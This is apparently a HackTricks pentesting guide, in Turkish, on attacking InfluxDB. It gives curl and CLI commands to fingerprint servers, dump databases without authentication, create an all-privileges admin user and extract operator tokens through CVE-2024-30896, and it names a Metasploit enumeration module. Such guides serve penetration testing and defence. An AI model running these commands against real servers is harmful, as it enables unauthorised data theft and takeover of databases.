8086 - Pentesting InfluxDB
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
InfluxDB InfluxData tarafından geliştirilmiş açık kaynaklı bir zaman serisi veritabanı (TSDB)’dir. TSDB’ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarına kıyasla, zaman serisi veri kümeleri için depolama alanı ve performans açısından önemli iyileştirmeler sağlarlar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak silmek üzere yapılandırılabilirler. Özel veritabanı indeksleri de sorgu performansını artırır.
Varsayılan port: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
Tanımlama & Sürüm (HTTP)
- v1.x:
GET /pingstatus 204 döner veX-Influxdb-VersionveX-Influxdb-Buildgibi headers içerir. - v2.x+:
GET /healthsunucu sürümü ve durumu içeren JSON döner. Auth olmadan çalışır.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
İpucu: erişime açık instance’lar genellikle Prometheus-style metrics’i /metrics yolunda da sunar.
Keşif
Bir pentester bakış açısından bu, hassas bilgiler saklıyor olabilecek başka bir veritabanıdır; bu yüzden tüm bilgileri nasıl dump edeceğini bilmek ilginçtir.
Kimlik Doğrulama
InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
Eğer bu tür bir hata alırsanız: ERR: unable to parse authentication credentials bu, bazı kimlik bilgilerini beklediği anlamına gelir.
influx –username influx –password influx_pass
influxdb’de kimlik doğrulamayı atlamaya izin veren bir zafiyet vardı: CVE-2019-20933
Manuel Keşif (v1 HTTP API / InfluxQL)
CLI kullanılamasa bile, HTTP API genellikle port 8086’da açıktır.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
Bazı testlerde authentication bypass ile tablo adının çift tırnak içinde olması gerektiği not edildi, örneğin:
select * from "cpu"
Authentication devre dışıysa, kullanıcı oluşturabilir ve escalate edebilirsiniz:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
The information of the following CLI example was taken from here.
Show databases
Bulunan veritabanları telegraf ve internal’dir (bunu her yerde bulacaksınız)
> show databases
name: databases
name
----
telegraf
_internal
Tablolar/measurements’leri göster
InfluxDB documentation InfluxDB’deki measurements’in SQL tablolarına karşılık geldiğini açıklar. Bu measurements’lerin adlandırılması içerikleri hakkında bilgi verir; her biri belirli bir varlığa ait verileri barındırır.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
Sütunları/alan anahtarlarını göster
Alan anahtarları veritabanının sütunları gibidir
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Table
Ve son olarak dump the table yapmak için şöyle bir şey kullanabilirsiniz:
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x token-based auth ve yeni bir API getirir (varsayılan olarak hâlâ 8086’da). Eğer bir token elde ederseniz (leaked logs, default deployments, backups) şunları listeleyebilirsiniz:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
Notlar
- v1.8+ için bazı v2-compatible endpoints mevcuttur (
/api/v2/query,/api/v2/write,/health). Bu, sunucu v1 olsa bile v2-style requests kabul ediyorsa faydalıdır. - v2’de, HTTP
Authorizationheader şu formda olmalıdır:Token <value>.
Automated Enumeration
msf6 > use auxiliary/scanner/http/influxdb_enum
Son yıllarda ilgi çekici vulns ve privesc
- InfluxDB OSS 2.x ile 2.7.11’e kadar operator token açığa çıkması (CVE-2024-30896). Belirli koşullar altında, varsayılan organizasyondaki authorization kaynağına read erişimi olan yetkilendirilmiş bir kullanıcı, örnek genelindeki operator token’ı listeleyip alabiliyordu (ör.
influx auth lsveyaGET /api/v2/authorizations). Bu token ile saldırgan instance’ı (buckets, tokens, users) yönetebilir ve tüm org’lar arasındaki verilere erişebilir. Düzeltme içeren sürüm kullanıma sunulduğunda yükseltin ve normal kullanıcıları varsayılan org’a yerleştirmekten kaçının. Hızlı test:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- Birçok eski 1.x dağıtımı hâlâ İnternet’te
/queryve/writeuç noktalarını kimlik doğrulamasız olarak açıyor. Kimlik doğrulama devre dışıysa, zaman serilerini istediğiniz gibi dökebilir veya hatta değiştirebilirsiniz; ayrıca yukarıda gösterildiği gibi admin kullanıcılar oluşturabilirsiniz. CLI sizi engellese bile her zaman HTTP API ile doğrulayın.
Referanslar
- InfluxData dokümanları: InfluxDB v1/v2 HTTP API referansı (endpoints like
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896 InfluxDB OSS 2.x’de operatör token’ının açığa çıkması. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


